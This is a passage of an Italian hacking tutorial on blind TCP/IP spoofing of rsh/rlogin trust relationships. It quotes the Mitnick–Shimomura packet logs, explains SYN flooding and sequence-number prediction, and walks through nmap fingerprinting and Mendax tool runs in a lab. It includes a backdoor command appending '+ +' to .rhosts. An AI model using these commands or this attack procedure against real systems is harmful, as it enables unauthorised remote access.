| fiducia ricevesse un SYN/ACK dall'host bersaglio risponderebbe con un RST     |\
| che manderebbe tutto a monte. Noi non vogliamo che questo accada, vero? :)    |\
| Per ovviare a tale problema provvederemo a inondare (flooding) l'host che     |\
| gode di relazioni di fiducia con una grossa quantit\'e0 di richieste di SYN      |\
| (richiesta di connessione) senza chiudere l'handshake ovvero una volta        |\
| ricevuto il SYN/ACK dall'host remoto non forniremo alcun ACK lasciando la     |\
| connessione in uno stato di attesa. Questo risulter\'e0 nell'esaurimento della   |\
| coda adibita alle connessioni in stato di attesa, di conseguenza ogni altra   |\
| connessione verr\'e0 ignorata.                                                   |\
|                                                                               |\
| 4.1.1 Esempio                                                                 |\
| Tratto dal testo "How Mitnick hacked Tsutomu Shimomura with an IP sequence    |\
| attack"                                                                       |\
|                                                                               |\
| "About six minutes later, we see a flurry of TCP SYNs (initial connection     |\
| requests) from 130.92.6.97 to port 513 (login) on server.  The purpose of     |\
| these SYNs is to fill the connection queue for port 513 on server with        |\
| "half-open" connections so it will not respond to any new connection          |\
| requests.  In particular, it will not generate TCP RSTs in response to        |\
| unexpected SYN-ACKs.                                                          |\
|                                                                               |\
| As port 513 is also a "privileged" port (< IPPORT_RESERVED), server.login     |\
| can now be safely used as the putative source for an address spoofing attack  |\
|                                                                               |\
| on the UNIX "r-services" (rsh, rlogin).  130.92.6.97 appears to be a random   |\
| (forged) unused address (one that will not generate any response to packets   |\
| sent to it):                                                                  |\
|                                                                               |\
|                                                                               |\
| 14:18:22.516699 130.92.6.97.600 > server.login: S 1382726960:1382726960(0)    |\
| win 4096                                                                      |\
| 14:18:22.566069 130.92.6.97.601 > server.login: S 1382726961:1382726961(0)    |\
| win 4096                                                                      |\
| 14:18:22.744477 130.92.6.97.602 > server.login: S 1382726962:1382726962(0)    |\
| win 4096                                                                      |\
| 14:18:22.830111 130.92.6.97.603 > server.login: S 1382726963:1382726963(0)    |\
| win 4096                                                                      |\
| 14:18:22.886128 130.92.6.97.604 > server.login: S 1382726964:1382726964(0)    |\
| win 4096                                                                      |\
| 14:18:22.943514 130.92.6.97.605 > server.login: S 1382726965:1382726965(0)    |\
| win 4096                                                                      |\
| 14:18:23.002715 130.92.6.97.606 > server.login: S 1382726966:1382726966(0)    |\
| win 4096                                                                      |\
| 14:18:23.103275 130.92.6.97.607 > server.login: S 1382726967:1382726967(0)    |\
| win 4096                                                                      |\
| 14:18:23.162781 130.92.6.97.608 > server.login: S 1382726968:1382726968(0)    |\
| win 4096                                                                      |\
| 14:18:23.225384 130.92.6.97.609 > server.login: S 1382726969:1382726969(0)    |\
| win 4096                                                                      |\
| 14:18:23.282625 130.92.6.97.610 > server.login: S 1382726970:1382726970(0)    |\
| win 4096                                                                      |\
| 14:18:23.342657 130.92.6.97.611 > server.login: S 1382726971:1382726971(0)    |\
| win 4096                                                                      |\
| 14:18:23.403083 130.92.6.97.612 > server.login: S 1382726972:1382726972(0)    |\
| win 4096                                                                      |\
| 14:18:23.903700 130.92.6.97.613 > server.login: S 1382726973:1382726973(0)    |\
| win 4096                                                                      |\
| 14:18:24.003252 130.92.6.97.614 > server.login: S 1382726974:1382726974(0)    |\
| win 4096                                                                      |\
| 14:18:24.084827 130.92.6.97.615 > server.login: S 1382726975:1382726975(0)    |\
| win 4096                                                                      |\
| 14:18:24.142774 130.92.6.97.616 > server.login: S 1382726976:1382726976(0)    |\
| win 4096                                                                      |\
| 14:18:24.203195 130.92.6.97.617 > server.login: S 1382726977:1382726977(0)    |\
| win 4096                                                                      |\
| 14:18:24.294773 130.92.6.97.618 > server.login: S 1382726978:1382726978(0)    |\
| win 4096                                                                      |\
| 14:18:24.382841 130.92.6.97.619 > server.login: S 1382726979:1382726979(0)    |\
| win 4096                                                                      |\
| 14:18:24.443309 130.92.6.97.620 > server.login: S 1382726980:1382726980(0)    |\
| win 4096                                                                      |\
| 14:18:24.643249 130.92.6.97.621 > server.login: S 1382726981:1382726981(0)    |\
| win 4096                                                                      |\
| 14:18:24.906546 130.92.6.97.622 > server.login: S 1382726982:1382726982(0)    |\
| win 4096                                                                      |\
| 14:18:24.963768 130.92.6.97.623 > server.login: S 1382726983:1382726983(0)    |\
| win 4096                                                                      |\
| 14:18:25.022853 130.92.6.97.624 > server.login: S 1382726984:1382726984(0)    |\
| win 4096                                                                      |\
| 14:18:25.153536 130.92.6.97.625 > server.login: S 1382726985:1382726985(0)    |\
| win 4096                                                                      |\
| 14:18:25.400869 130.92.6.97.626 > server.login: S 1382726986:1382726986(0)    |\
| win 4096                                                                      |\
| 14:18:25.483127 130.92.6.97.627 > server.login: S 1382726987:1382726987(0)    |\
| win 4096                                                                      |\
| 14:18:25.599582 130.92.6.97.628 > server.login: S 1382726988:1382726988(0)    |\
| win 4096                                                                      |\
| 14:18:25.653131 130.92.6.97.629 > server.login: S 1382726989:1382726989(0)    |\
| win 4096                                                                      |\
|                                                                               |\
| server generated SYN-ACKs for the first eight SYN requests before the         |\
| connection queue filled up.  server will periodically retransmit these        |\
| SYN-ACKs as there is nothing to ACK them."                                    |\
|                                                                               |\
| 4.2 Predizione del numero sequenziale                                         |\
| L'attacker a questo punto stabilisce un gran numero di connessioni con il     |\
| sistema bersaglio allo scopo di campionare la generazione degli ISN da parte  |\
|                                                                               |\
| dell'host remoto, questo gli consentir\'e0 di predire con sufficiente            |\
| precisione l'ISN della sessione spoofed che si appresta a instaurare. Un      |\
| ulteriore fattore che influisce sulla predizione dell'ISN \'e8 rappresentato     |\
| dal valore del round trip time (RTT) ovvero il tempo necessario affinch\'e8 il   |\
| pacchetto compia il tragitto che separa la propria postazione dall'host       |\
| bersaglio e torni indietro.                                                   |\
| Avendo il valore di un ISN precedentemente campionato, il tempo trascorso da  |\
|                                                                               |\
| tale campionamento, tenendo conto che il numero sequenziale viene             |\
| incrementato di 128.000 ogni secondo e che un pacchetto necessita di un       |\
| tempo pari alla met\'e0 del RTT per compiere il tragitto che separa i due host,  |\
|                                                                               |\
| \'e8 possibile predire l'ISN del sistema bersaglio.                              |\
| E' bene tenere presente che l'instaurazione di una connessione su una         |\
| qualsiasi delle porte del sistema vanificherebbe la predizione dell'ISN che   |\
| vedrebbe incrementato di 64.000 il proprio valore.                            |\
|                                                                               |\
| 4.2.1 Esempio                                                                 |\
| Tratto dal testo "How Mitnick hacked Tsutomu Shimomura with an IP sequence    |\
| attack"                                                                       |\
|                                                                               |\
| "We now see 20 connection attempts from apollo.it.luc.edu to                  |\
| x-terminal.shell. The purpose of these attempts is to determine the behavior  |\
|                                                                               |\
| of x-terminal's TCP sequence number generator.  Note that the initial         |\
| sequence numbers increment by one for each connection, indicating that the    |\
| SYN packets are *not* being generated by the system's TCP implementation.     |\
| This results in RSTs conveniently being generated in response to each         |\
| unexpected SYN-ACK, so the connection queue on x-terminal does not fill up:   |\
|                                                                               |\
| 14:18:25.906002 apollo.it.luc.edu.1000 > x-terminal.shell: S                  |\
| 1382726990:1382726990(0) win 4096                                             |\
| 14:18:26.094731 x-terminal.shell > apollo.it.luc.edu.1000: S                  |\
| 2021824000:2021824000(0) ack 1382726991 win 4096                              |\
| 14:18:26.172394 apollo.it.luc.edu.1000 > x-terminal.shell: R                  |\
| 1382726991:1382726991(0) win 0                                                |\
| 14:18:26.507560 apollo.it.luc.edu.999 > x-terminal.shell: S                   |\
| 1382726991:1382726991(0) win 4096                                             |\
| 14:18:26.694691 x-terminal.shell > apollo.it.luc.edu.999: S                   |\
| 2021952000:2021952000(0) ack 1382726992 win 4096                              |\
| 14:18:26.775037 apollo.it.luc.edu.999 > x-terminal.shell: R                   |\
| 1382726992:1382726992(0) win 0                                                |\
| 14:18:26.775395 apollo.it.luc.edu.999 > x-terminal.shell: R                   |\
| 1382726992:1382726992(0) win 0                                                |\
| 14:18:27.014050 apollo.it.luc.edu.998 > x-terminal.shell: S                   |\
| 1382726992:1382726992(0) win 4096                                             |\
| 14:18:27.174846 x-terminal.shell > apollo.it.luc.edu.998: S                   |\
| 2022080000:2022080000(0) ack 1382726993 win 4096                              |\
| 14:18:27.251840 apollo.it.luc.edu.998 > x-terminal.shell: R                   |\
| 1382726993:1382726993(0) win 0                                                |\
| 14:18:27.544069 apollo.it.luc.edu.997 > x-terminal.shell: S                   |\
| 1382726993:1382726993(0) win 4096                                             |\
| 14:18:27.714932 x-terminal.shell > apollo.it.luc.edu.997: S                   |\
| 2022208000:2022208000(0) ack 1382726994 win 4096                              |\
| 14:18:27.794456 apollo.it.luc.edu.997 > x-terminal.shell: R                   |\
| 1382726994:1382726994(0) win 0                                                |\
| 14:18:28.054114 apollo.it.luc.edu.996 > x-terminal.shell: S                   |\
| 1382726994:1382726994(0) win 4096                                             |\
| 14:18:28.224935 x-terminal.shell > apollo.it.luc.edu.996: S                   |\
| 2022336000:2022336000(0) ack 1382726995 win 4096                              |\
| 14:18:28.305578 apollo.it.luc.edu.996 > x-terminal.shell: R                   |\
| 1382726995:1382726995(0) win 0                                                |\
| 14:18:28.564333 apollo.it.luc.edu.995 > x-terminal.shell: S                   |\
| 1382726995:1382726995(0) win 4096                                             |\
| 14:18:28.734953 x-terminal.shell > apollo.it.luc.edu.995: S                   |\
| 2022464000:2022464000(0) ack 1382726996 win 4096                              |\
| 14:18:28.811591 apollo.it.luc.edu.995 > x-terminal.shell: R                   |\
| 1382726996:1382726996(0) win 0                                                |\
| 14:18:29.074990 apollo.it.luc.edu.994 > x-terminal.shell: S                   |\
| 1382726996:1382726996(0) win 4096                                             |\
| 14:18:29.274572 x-terminal.shell > apollo.it.luc.edu.994: S                   |\
| 2022592000:2022592000(0) ack 1382726997 win 4096                              |\
| 14:18:29.354139 apollo.it.luc.edu.994 > x-terminal.shell: R                   |\
| 1382726997:1382726997(0) win 0                                                |\
| 14:18:29.354616 apollo.it.luc.edu.994 > x-terminal.shell: R                   |\
| 1382726997:1382726997(0) win 0                                                |\
| 14:18:29.584705 apollo.it.luc.edu.993 > x-terminal.shell: S                   |\
| 1382726997:1382726997(0) win 4096                                             |\
| 14:18:29.755054 x-terminal.shell > apollo.it.luc.edu.993: S                   |\
| 2022720000:2022720000(0) ack 1382726998 win 4096                              |\
| 14:18:29.840372 apollo.it.luc.edu.993 > x-terminal.shell: R                   |\
| 1382726998:1382726998(0) win 0                                                |\
| 14:18:30.094299 apollo.it.luc.edu.992 > x-terminal.shell: S                   |\
| 1382726998:1382726998(0) win 4096                                             |\
| 14:18:30.265684 x-terminal.shell > apollo.it.luc.edu.992: S                   |\
| 2022848000:2022848000(0) ack 1382726999 win 4096                              |\
| 14:18:30.342506 apollo.it.luc.edu.992 > x-terminal.shell: R                   |\
| 1382726999:1382726999(0) win 0                                                |\
| 14:18:30.604547 apollo.it.luc.edu.991 > x-terminal.shell: S                   |\
| 1382726999:1382726999(0) win 4096                                             |\
| 14:18:30.775232 x-terminal.shell > apollo.it.luc.edu.991: S                   |\
| 2022976000:2022976000(0) ack 1382727000 win 4096                              |\
| 14:18:30.852084 apollo.it.luc.edu.991 > x-terminal.shell: R                   |\
| 1382727000:1382727000(0) win 0                                                |\
| 14:18:31.115036 apollo.it.luc.edu.990 > x-terminal.shell: S                   |\
| 1382727000:1382727000(0) win 4096                                             |\
| 14:18:31.284694 x-terminal.shell > apollo.it.luc.edu.990: S                   |\
| 2023104000:2023104000(0) ack 1382727001 win 4096                              |\
| 14:18:31.361684 apollo.it.luc.edu.990 > x-terminal.shell: R                   |\
| 1382727001:1382727001(0) win 0                                                |\
| 14:18:31.627817 apollo.it.luc.edu.989 > x-terminal.shell: S                   |\
| 1382727001:1382727001(0) win 4096                                             |\
| 14:18:31.795260 x-terminal.shell > apollo.it.luc.edu.989: S                   |\
| 2023232000:2023232000(0) ack 1382727002 win 4096                              |\
| 14:18:31.873056 apollo.it.luc.edu.989 > x-terminal.shell: R                   |\
| 1382727002:1382727002(0) win 0                                                |\
| 14:18:32.164597 apollo.it.luc.edu.988 > x-terminal.shell: S                   |\
| 1382727002:1382727002(0) win 4096                                             |\
| 14:18:32.335373 x-terminal.shell > apollo.it.luc.edu.988: S                   |\
| 2023360000:2023360000(0) ack 1382727003 win 4096                              |\
| 14:18:32.413041 apollo.it.luc.edu.988 > x-terminal.shell: R                   |\
| 1382727003:1382727003(0) win 0                                                |\
| 14:18:32.674779 apollo.it.luc.edu.987 > x-terminal.shell: S                   |\
| 1382727003:1382727003(0) win 4096                                             |\
| 14:18:32.845373 x-terminal.shell > apollo.it.luc.edu.987: S                   |\
| 2023488000:2023488000(0) ack 1382727004 win 4096                              |\
| 14:18:32.922158 apollo.it.luc.edu.987 > x-terminal.shell: R                   |\
| 1382727004:1382727004(0) win 0                                                |\
| 14:18:33.184839 apollo.it.luc.edu.986 > x-terminal.shell: S                   |\
| 1382727004:1382727004(0) win 4096                                             |\
| 14:18:33.355505 x-terminal.shell > apollo.it.luc.edu.986: S                   |\
| 2023616000:2023616000(0) ack 1382727005 win 4096                              |\
| 14:18:33.435221 apollo.it.luc.edu.986 > x-terminal.shell: R                   |\
| 1382727005:1382727005(0) win 0                                                |\
| 14:18:33.695170 apollo.it.luc.edu.985 > x-terminal.shell: S                   |\
| 1382727005:1382727005(0) win 4096                                             |\
| 14:18:33.985966 x-terminal.shell > apollo.it.luc.edu.985: S                   |\
| 2023744000:2023744000(0) ack 1382727006 win 4096                              |\
| 14:18:34.062407 apollo.it.luc.edu.985 > x-terminal.shell: R                   |\
| 1382727006:1382727006(0) win 0                                                |\
| 14:18:34.204953 apollo.it.luc.edu.984 > x-terminal.shell: S                   |\
| 1382727006:1382727006(0) win 4096                                             |\
| 14:18:34.375641 x-terminal.shell > apollo.it.luc.edu.984: S                   |\
| 2023872000:2023872000(0) ack 1382727007 win 4096                              |\
| 14:18:34.452830 apollo.it.luc.edu.984 > x-terminal.shell: R                   |\
| 1382727007:1382727007(0) win 0                                                |\
| 14:18:34.714996 apollo.it.luc.edu.983 > x-terminal.shell: S                   |\
| 1382727007:1382727007(0) win 4096                                             |\
| 14:18:34.885071 x-terminal.shell > apollo.it.luc.edu.983: S                   |\
| 2024000000:2024000000(0) ack 1382727008 win 4096                              |\
| 14:18:34.962030 apollo.it.luc.edu.983 > x-terminal.shell: R                   |\
| 1382727008:1382727008(0) win 0                                                |\
| 14:18:35.225869 apollo.it.luc.edu.982 > x-terminal.shell: S                   |\
| 1382727008:1382727008(0) win 4096                                             |\
| 14:18:35.395723 x-terminal.shell > apollo.it.luc.edu.982: S                   |\
| 2024128000:2024128000(0) ack 1382727009 win 4096                              |\
| 14:18:35.472150 apollo.it.luc.edu.982 > x-terminal.shell: R                   |\
| 1382727009:1382727009(0) win 0                                                |\
| 14:18:35.735077 apollo.it.luc.edu.981 > x-terminal.shell: S                   |\
| 1382727009:1382727009(0) win 4096                                             |\
| 14:18:35.905684 x-terminal.shell > apollo.it.luc.edu.981: S                   |\
| 2024256000:2024256000(0) ack 1382727010 win 4096                              |\
| 14:18:35.983078 apollo.it.luc.edu.981 > x-terminal.shell: R                   |\
| 1382727010:1382727010(0) win 0                                                |\
|                                                                               |\
| Note that each SYN-ACK packet sent by x-terminal has an initial sequence      |\
| number which is 128,000 greater than the previous one."                       |\
|                                                                               |\
| 4.3 Impersonificazione dell'host di fiducia                                   |\
|                                                                               |\
| 1) L'attacker manda un pacchetto TCP con flag SYN attivo (richiesta di        |\
| connessione), l'header del pacchetto IP \'e8 contraffatto e riporta nel campo    |\
| source address l'ip del sistema che gode di una relazione di fiducia nei      |\
| confronti dell'host bersaglio.                                                |\
| 2) L'host bersaglio risponde con un pacchetto SYN/ACK che non sar\'e0 ricevuto   |\
| dall'host spoofed, tale pacchetto sar\'e0 instradato verso il legittimo          |\
| proprietario (il sistema di fiducia) che ignorer\'e0 tale pacchetto a causa del  |\
|                                                                               |\
| SYN flood. Non essendo a conoscenza dell'ISN generato dall'host bersaglio     |\
| sar\'e0 necessario procedere con la predizione del numero sequenziale con le     |\
| modalit\'e0 descritte in precedenza.                                             |\
| 3) L'attacker manda un secondo pacchetto TCP con flag ACK attivo, l'header    |\
| del pacchetto IP \'e8 contraffatto e riporta ancora una volta l'ip del sistema   |\
| di fiducia, il campo acknowledgment number contiene l'ISN predetto            |\
| incrementato di uno. Se tutto \'e8 andato per il verso giusto otterremo una      |\
| connessione unilaterale con il sistema bersaglio.                             |\
|                                                                               |\
|                                                                               |\
| 1       S(M)  -->  D  SYN=1, ISN=100                                          |\
|                                                                               |\
| 2       M     <--  D  ISN=???                                                 |\
|                                                                               |\
| 3       S(M)  -->  D  ACK=1, ack=ISN(predetto)+1                              |\
|                                                                               |\
| M = mittente                                                                  |\
| D = destinatario                                                              |\
| S = spoofed                                                                   |\
|                                                                               |\
|                                                                               |\
| 4.3.1 Esempio                                                                 |\
| Tratto dal testo "How Mitnick hacked Tsutomu Shimomura with an IP sequence    |\
| attack"                                                                       |\
|                                                                               |\
| "Normally, the sequence number from the SYN-ACK is required in order to       |\
| generate a valid ACK.  However, the attacker is able to predict the sequence  |\
|                                                                               |\
| number contained in the SYN-ACK based on the known behavior of x-terminal's   |\
| TCP sequence number generator, and is thus able to ACK the SYN-ACK without    |\
| seeing it:                                                                    |\
|                                                                               |\
| 14:18:36.245045 server.login > x-terminal.shell: S 1382727010:1382727010(0)   |\
| win 4096                                                                      |\
| 14:18:36.755522 server.login > x-terminal.shell: . ack 2024384001 win 4096    |\
|                                                                               |\
| The spoofing machine now has a one-way connection to x-terminal.shell which   |\
| appears to be from server.login."                                             |\
|                                                                               |\
| 5. Backdoor                                                                   |\
| La tecnica appena descritta ci permette di sfruttare la relazione di fiducia  |\
|                                                                               |\
| acquisita allo scopo di eseguire una backdoor sul sistema remoto, questo ci   |\
| permetter\'e0 un accesso al sistema pi\'f9 agevole in futuro, vediamo un esempio:   |\
|                                                                               |\
| cat + + >> ~/.rhosts                                                          |\
|                                                                               |\
| Questo comando eseguito dalla shell reindirizza l'output standard del         |\
| comando echo verso il file .rhosts che si trova nella directory ~ (home)      |\
| dell'utente, all'interno di tale file verr\'e0 aggiunta la stringa "+ +" che     |\
| permette il login da parte di qualsiasi sistema remoto senza bisogno di       |\
| password alcuna.                                                              |\
|                                                                               |\
| 5.1 Esempio                                                                   |\
| Tratto dal testo "How Mitnick hacked Tsutomu Shimomura with an IP sequence    |\
| attack"                                                                       |\
|                                                                               |\
| "It can maintain the connection and send data provided that it can properly   |\
| ACK any data sent by x-terminal.  It sends the following:                     |\
|                                                                               |\
| 14:18:37.265404 server.login > x-terminal.shell: P 0:2(2) ack 1 win 4096      |\
| 14:18:37.775872 server.login > x-terminal.shell: P 2:7(5) ack 1 win 4096      |\
| 14:18:38.287404 server.login > x-terminal.shell: P 7:32(25) ack 1 win 4096    |\
|                                                                               |\
| which corresponds to:                                                         |\
| 14:18:37 server# rsh x-terminal "echo + + >>/.rhosts"                         |\
|                                                                               |\
| Total elapsed time since the first spoofed packet: < 16 seconds"              |\
|                                                                               |\
| 6. Parte pratica                                                              |\
| Veniamo al sodo, ovvero come mettere in pratica quanto imparato al fine di    |\
| realizzare un attacco spoofed sfruttando le relazioni di fiducia di cui gode  |\
|                                                                               |\
| un certo host. Come ogni attacco che si rispetti dobbiamo procedere prima di  |\
|                                                                               |\
| tutto ricavando il maggior numero di informazioni sul nostro host target, le  |\
|                                                                               |\
| informazioni che maggiormente ci interessano sono principalmente due:         |\
|                                                                               |\
| - la presenza di servizi quali rlogin, rsh, rcp, rwho, etc;                   |\
| - il livello di prevedibilit\'e0 del sequence number;                            |\
|                                                                               |\
| A tale scopo utilizzeremo il programma Nmap che \'e8 in grado di fornirci tali   |\
| informazioni, l'opzione -O ci permette di operare un fingerprint(1) dello     |\
| stack TCP e determinarne la prevedibilit\'e0 del sequence number, per maggiori   |\
| informazioni riguardo l'uso di Nmap consultare la man page relativa a tale    |\
| programma.                                                                    |\
|                                                                               |\
| (1)fingerprint: \'e8 detto fingerprinting la tecnica che permette mediante       |\
| l'analisi dello stack TCP la determinazione del sistema operativo da remoto,  |\
|                                                                               |\
| questa tecnica si basa proprio sull'analisi delle differenze dello stack      |\
| caratterizzanti un certo sistema operativo.                                   |\
|                                                                               |\
| Per effettuare l'attacco vero e proprio useremo invece il noto programma      |\
| Mendax che utilizzer\'e0 le tecniche descritte in precedenza per exploitare(2)   |\
| l'host remoto:                                                                |\
|                                                                               |\
| - SYN flood del sistema trusted;                                              |\
| - campionamento del sistema target;                                           |\
| - predizione del sequence number;                                             |\
| - spoofing su rshd;                                                           |\
| - esecuzione della backdoor;                                                  |\
|                                                                               |\
| (2)exploit: programma o tecnica che ci permette di ottenere privilegi         |\
| particolari nei confronti di un host sul quale non abbiamo accesso o          |\
| possediamo privilegi limitati.                                                |\
|                                                                               |\
| Vediamo la sintassi utilizzata da tale programma:                             |\
|                                                                               |\
| [root@pluto mendax]# ./mendax                                                 |\
| Usage: ./mendax [OPTIONS] <source> <target> [<gateway>]                       |\
|                                                                               |\
| -p PORT       first port on localhost to occupy                               |\
| -s PORT       server port on <source> to swamp                                |\
| -l USERNAME   user on <source>                                                |\
| -r USERNAME   user on <target>                                                |\
| -c COMMAND    command to execute                                              |\
| -w PORT       wait for a TCP SYN packet on port PORT                          |\
| -d            read data from stdin and send it.                               |\
| -t            test whether attack might succeed                               |\
| -L TERM       spoof rlogind instead of rshd.                                  |\
| -S PORT       port from which to sample seq numbers.                          |\
|                                                                               |\
| L'opzione -s permette di specificare la porta del sistema trusted su cui      |\
| attuare il SYN flood, l'opzione -r specifica l'utente con cui si intende      |\
| autenticarsi sul sistema target, l'utente dipende strettamente da quanto      |\
| dichiarato sul file .rhosts presente sul sistema remoto, l'opzione -c         |\
| permette di specificare il comando da eseguire una volta ottenuto l'accesso,  |\
|                                                                               |\
| infine -S permette di specificare la porta su cui effettuare il               |\
| campionamento dei numeri sequenziali, tale impostazione va scelta in base     |\
| all'output del comando Nmap e va settata pari al valore di una porta del      |\
| sistema target che risulti nello stato open.                                  |\
|                                                                               |\
| Nota personale:                                                               |\
| Ho ritenuto necessario modificare il file mendax.h sostituendo la riga:       |\
|                                                                               |\
| #define SAMPLEPACKETS\tab 4                                                       |\
| con la seguente:                                                              |\
|                                                                               |\
| #define SAMPLEPACKETS\tab 20                                                      |\
| al fine di rendere pi\'f9 significativo il campionamento effettuato dal          |\
| programma stesso.                                                             |\
|                                                                               |\
| 6.1 Uso di Nmap e del programma Mendax                                        |\
| Ecco un esempio di attacco eseguito su una macchina che monta Mandrake 8.0:   |\
|                                                                               |\
| [root@pluto root]# nmap -O 192.168.1.35                                       |\
|                                                                               |\
| Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )       |\
| Interesting ports on pluto.workgroup.com (192.168.1.35):                      |\
| (The 1517 ports scanned but not shown below are in state: closed)             |\
| Port       State       Service                                                |\
| 23/tcp     open        telnet                                                 |\
| 25/tcp     open        smtp                                                   |\
| 111/tcp    open        sunrpc                                                 |\
| 631/tcp    open        unknown                                                |\
| 6000/tcp   open        X11                                                    |\
| 32770/tcp  open        sometimes-rpc3                                         |\
|                                                                               |\
| TCP Sequence Prediction: Class=random positive increments                     |\
|                          Difficulty=1468724 (Good luck!)                      |\
| No OS matches for host (If you know what OS is running on it, see             |\
| http://www.insecure.org/cgi-bin/nmap-submit.cgi).                             |\
| TCP/IP fingerprint:                                                           |\
| TSeq(Class=RI%gcd=1%SI=2CCF1D)                                                |\
| TSeq(Class=RI%gcd=1%SI=2CD1F2)                                                |\
| TSeq(Class=RI%gcd=2%SI=166934)                                                |\
| T1(Resp=Y%DF=Y%W=7FFF%ACK=S++%Flags=AS%Ops=MNNTNW)                            |\
| T2(Resp=N)                                                                    |\
| T3(Resp=Y%DF=Y%W=7FFF%ACK=S++%Flags=AS%Ops=MNNTNW)                            |\
| T4(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=)                                        |\
| T5(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=)                                     |\
| T6(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=)                                        |\
| T7(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=)                                     |\
| PU(Resp=Y%DF=Y%TOS=C0%IPLEN=164%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=134%DAT=E) |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
| Nmap run completed -- 1 IP address (1 host up) scanned in 5 seconds           |\
|                                                                               |\
| Come potrete notare siamo in presenza di una macchina che non solo non monta  |\
|                                                                               |\
| i servizi necessari alla riuscita del nostro attacco ma la predizione del     |\
| sequence number risulterebbe alquanto difficoltosa, questo dato pu\'f2 essere    |\
| ricavato dalla voce seguente:                                                 |\
|                                                                               |\
| TCP Sequence Prediction: Class=random positive increments                     |\
|                          Difficulty=1468724 (Good luck!)                      |\
|                                                                               |\
| In questo caso se cercassimo di usare il tool Mendax per realizzare il        |\
| nostro attacco esso fallirebbe miseramente a causa dell'incrementazione       |\
| random del sequence number che ne impedisce qualsiasi predizione, ecco        |\
| l'esempio:                                                                    |\
|                                                                               |\
| [root@pluto mendax]# ./mendax -S 23 192.168.1.2 192.168.1.35                  |\
| flooding source with TCP SYN packets from 143.209.4.3: ....................   |\
| sampling sequence numbers...                                                  |\
|                                                                               |\
| seq number: 991645491, ack number: 1                                          |\
| seq number: 986108304, ack number: 64001 difference: -5537187                 |\
| seq number: 996466103, ack number: 128001 difference: 10357799                |\
| seq number: 998585156, ack number: 192001 difference: 2119053                 |\
| seq number: 990883549, ack number: 256001 difference: -7701607                |\
| seq number: 1000310665, ack number: 320001 difference: 9427116                |\
| seq number: 989419335, ack number: 384001 difference: -10891330               |\
| seq number: 993096000, ack number: 448001 difference: 3676665                 |\
| seq number: 987811540, ack number: 512001 difference: -5284460                |\
| seq number: 995054978, ack number: 576001 difference: 7243438                 |\
| seq number: 995947714, ack number: 640001 difference: 892736                  |\
| seq number: 984271645, ack number: 704001 difference: -11676069               |\
| seq number: 990591826, ack number: 768001 difference: 6320181                 |\
| seq number: 995223221, ack number: 832001 difference: 4631395                 |\
| seq number: 998562942, ack number: 896001 difference: 3339721                 |\
| seq number: 984338810, ack number: 960001 difference: -14224132               |\
| seq number: 997948849, ack number: 1024001 difference: 13610039               |\
| seq number: 984199097, ack number: 1088001 difference: -13749752              |\
| seq number: 991693416, ack number: 1152001 difference: 7494319                |\
| seq number: 994890294, ack number: 1216001 difference: 3196878                |\
|                                                                               |\
| no detectable difference pattern.                                             |\
| using 3196878 as prediction difference (1 hit).                               |\
| spoofing rshd.                                                                |\
| resetting TCP target connection: .                                            |\
| resetting source: ....................                                        |\
|                                                                               |\
| Mendax risponde con "no detectable difference pattern.", ci\'f2 significa che    |\
| non \'e8 possibile stabilire una relazione tra un numero sequenziale e quello    |\
| immediatamente successivo.                                                    |\
| Il prossimo esempio \'e8 tratto dal probe di una macchina RedHat 6.1 kernel      |\
| 2.2.12:                                                                       |\
|                                                                               |\
| [root@pluto mendax]# nmap -O 192.168.1.34                                     |\
|                                                                               |\
| Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )       |\
| Interesting ports on pippo.workgroup.com (192.168.1.34):                      |\
| (The 1513 ports scanned but not shown below are in state: closed)             |\
| Port       State       Service                                                |\
| 21/tcp     open        ftp                                                    |\
| 23/tcp     open        telnet                                                 |\
| 25/tcp     open        smtp                                                   |\
| 79/tcp     open        finger                                                 |\
| 98/tcp     open        linuxconf                                              |\
| 111/tcp    open        sunrpc                                                 |\
| 113/tcp    open        auth                                                   |\
| 513/tcp    open        login                                                  |\
| 514/tcp    open        shell                                                  |\
| 515/tcp    open        printer                                                |\
|                                                                               |\
| TCP Sequence Prediction: Class=random positive increments                     |\
|                          Difficulty=5589937 (Good luck!)                      |\
| Remote operating system guess: Linux 2.1.122 - 2.2.14                         |\
|                                                                               |\
| Nmap run completed -- 1 IP address (1 host up) scanned in 1 second            |\
|                                                                               |\
| Questa volta le porte interessate dall'attacco sono disponibili (513, 514)    |\
| ma la predizione del sequence number risulta ancora una volta difficoltosa,   |\
| il nostro attacco non funzionar\'e0:                                             |\
|                                                                               |\
| [root@pluto mendax]# ./mendax 192.168.1.2 192.168.1.34                        |\
| flooding source with TCP SYN packets from 143.209.4.3: ....................   |\
| sampling sequence numbers...                                                  |\
|                                                                               |\
| seq number: 4178634327, ack number: 1                                         |\
| seq number: 4179028914, ack number: 64001 difference: 394587                  |\
| seq number: 4174024512, ack number: 128001 difference: -5004402               |\
| seq number: 4163370868, ack number: 192001 difference: -10653644              |\
| seq number: 4167396870, ack number: 256001 difference: 4026002                |\
| seq number: 4169257246, ack number: 320001 difference: 1860376                |\
| seq number: 4167244436, ack number: 384001 difference: -2012810               |\
| seq number: 4175107959, ack number: 448001 difference: 7863523                |\
| seq number: 4166530375, ack number: 512001 difference: -8577584               |\
| seq number: 4165158028, ack number: 576001 difference: -1372347               |\
| seq number: 4173646859, ack number: 640001 difference: 8488831                |\
| seq number: 4176496350, ack number: 704001 difference: 2849491                |\
| seq number: 4167788146, ack number: 768001 difference: -8708204               |\
| seq number: 4167622693, ack number: 832001 difference: -165453                |\
| seq number: 4175721601, ack number: 896001 difference: 8098908                |\
| seq number: 4174721790, ack number: 960001 difference: -999811                |\
| seq number: 4172954422, ack number: 1024001 difference: -1767368              |\
| seq number: 4179219208, ack number: 1088001 difference: 6264786               |\
| seq number: 4177168403, ack number: 1152001 difference: -2050805              |\
| seq number: 4169364973, ack number: 1216001 difference: -7803430              |\
|                                                                               |\
| no detectable difference pattern.                                             |\
| using -7803430 as prediction difference (1 hit).                              |\
| spoofing rshd.                                                                |\
| resetting TCP target connection: .                                            |\
| resetting source: ....................                                        |\
|                                                                               |\
